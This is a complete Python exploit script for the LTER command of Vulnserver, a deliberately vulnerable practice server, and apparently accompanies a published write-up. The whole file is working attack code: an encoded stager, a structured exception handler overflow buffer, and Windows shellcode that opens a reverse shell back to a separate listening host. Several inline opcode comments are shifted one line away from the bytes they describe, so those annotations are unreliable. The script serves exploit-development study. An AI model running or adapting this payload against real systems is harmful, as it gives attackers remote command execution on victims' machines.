#!/usr/bin/env python3
"""
Vulnserver LTER SEH exploit.

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-lter-seh/
"""

import socket
import struct
import time

HOST = "192.168.0.20"
PORT = 9999

LONG_JMP = b"\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x62\x21\x22\x23\x2d"
LONG_JMP += b"\x38\x25\x2b\x28\x2d\x67\x28\x22\x24\x50\x25\x50\x50\x4a\x50\x25"
LONG_JMP += b"\x2a\x2a\x30\x2a\x2d\x42\x7f\x29\x73\x2d\x7f\x25\x69\x2d\x2d\x56"
LONG_JMP += b"\x2d\x7b\x5f\x50"

STAGER = b"\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x6f\x27\x21\x2d"
STAGER += b"\x30\x37\x26\x2b\x2d\x30\x76\x21\x23\x50\x25\x50\x50\x4a\x50\x25"
STAGER += b"\x2a\x2a\x30\x2a\x2d\x7f\x3e\x26\x7a\x2d\x3c\x7e\x22\x60\x2d\x46"
STAGER += b"\x72\x31\x65\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x4f"
STAGER += b"\x6f\x6f\x61\x2d\x39\x6f\x77\x62\x2d\x38\x60\x30\x33\x50\x25\x50"
STAGER += b"\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7b\x75\x33\x37\x2d\x67\x7e"
STAGER += b"\x7b\x27\x2d\x66\x7b\x24\x7c\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a"
STAGER += b"\x30\x2a\x2d\x2d\x28\x2a\x62\x2d\x3e\x22\x3d\x22\x2d\x31\x62\x51"
STAGER += b"\x24\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x7f\x76\x24"
STAGER += b"\x7f\x2d\x79\x7f\x35\x3e\x2d\x7f\x26\x22\x7f\x50\x25\x50\x50\x4a"
STAGER += b"\x50\x25\x2a\x2a\x30\x2a\x2d\x24\x67\x23\x23\x2d\x30\x68\x71\x28"
STAGER += b"\x2d\x2c\x69\x66\x61\x50\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a"
STAGER += b"\x2d\x33\x30\x7a\x5d\x2d\x70\x6c\x68\x26\x2d\x5e\x31\x42\x28\x50"
STAGER += b"\x25\x50\x50\x4a\x50\x25\x2a\x2a\x30\x2a\x2d\x2b\x2a\x2a\x22\x2d"
STAGER += b"\x21\x6e\x6d\x32\x2d\x31\x7b\x65\x7a\x50"

SHELL = b""
SHELL += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64"
SHELL += b"\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
SHELL += b"\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c"
SHELL += b"\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52"
SHELL += b"\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
SHELL += b"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49"
SHELL += b"\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
SHELL += b"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75"
SHELL += b"\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b"
SHELL += b"\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
SHELL += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
SHELL += b"\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77"
SHELL += b"\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
SHELL += b"\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
SHELL += b"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
SHELL += b"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8"
SHELL += b"\x00\x12\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
SHELL += b"\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c"
SHELL += b"\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5"
SHELL += b"\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
SHELL += b"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
SHELL += b"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56"
SHELL += b"\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f"
SHELL += b"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08"
SHELL += b"\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68\xa6"
SHELL += b"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
SHELL += b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"

# Create STAGE2 with the shellcode and pad the rest of the
# 1024 buffer with NOPs
STAGE2 = SHELL + b"\x90" * (1024 - len(SHELL))

PAYLOAD = (
    b"LTER ."
    + b"A" * 16
    + b"\x54"
    + b"\x58"  # PUSH ESP
    + b"\x66\x2d\x01\x0b"  # POP EAX
    + b"\x50"  # SUB AX,0x0b01
    + b"\x5c"  # PUSH EAX
    + STAGER  # POP ESP
    + b"A" * (3554 - 4 - 79 - 16 - 8 - len(STAGER))
    +
    # Align stack for our long jump
    b"\x54"
    + b"\x58"  # PUSH ESP
    + b"\x2c\x30"  # POP EAX
    + b"\x50"  # SUB AL,30
    + b"\x5c"  # PUSH EAX
    + LONG_JMP  # POP ESP
    + b"A" * (79 - 6 - len(LONG_JMP))
    +  # Fill the rest of our buffer with A
    # JNZ SHORT +0x10: Will jmp if ZF is 1
    b"\x75\x08"
    +
    # JZ SHORT +0x6: If the previous jump didn't happen (ZF is 0), jump!
    b"\x74\x06"
    +
    # 6250172B    5F                          POP EDI
    # 6250172C    5D                          POP EBP
    # 6250172D    C3                          RETN
    struct.pack("<L", 0x6250172B)
    + b"C" * 2
    +
    # Align stack pointer
    b"\x54"
    + b"\x58"  # PUSH ESP
    + b"\x66\x05\x53\x14"  # POP EAX
    + b"\x50"  # ADD AX,0x1453
    + b"\x5c"  # PUSH EAX
    +  # POP ESP
    # Make EAX = '909080eb'
    b"\x25\x50\x50\x4A\x50"
    + b"\x25\x2A\x2A\x30\x2A"  # AND EAX,504A5050
    + b"\x05\x75\x40\x48\x48"  # AND EAX,2A302A2A
    + b"\x05\x76\x40\x48\x48"  # ADD EAX,48484075
    + b"\x50"  # ADD EAX,48484076
    + b"C" * (4000 - 3554 - 4)  # PUSH EAX
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
    # This will trigger our stager
    fd.recv(1024)
    time.sleep(3)
    fd.sendall(STAGE2)
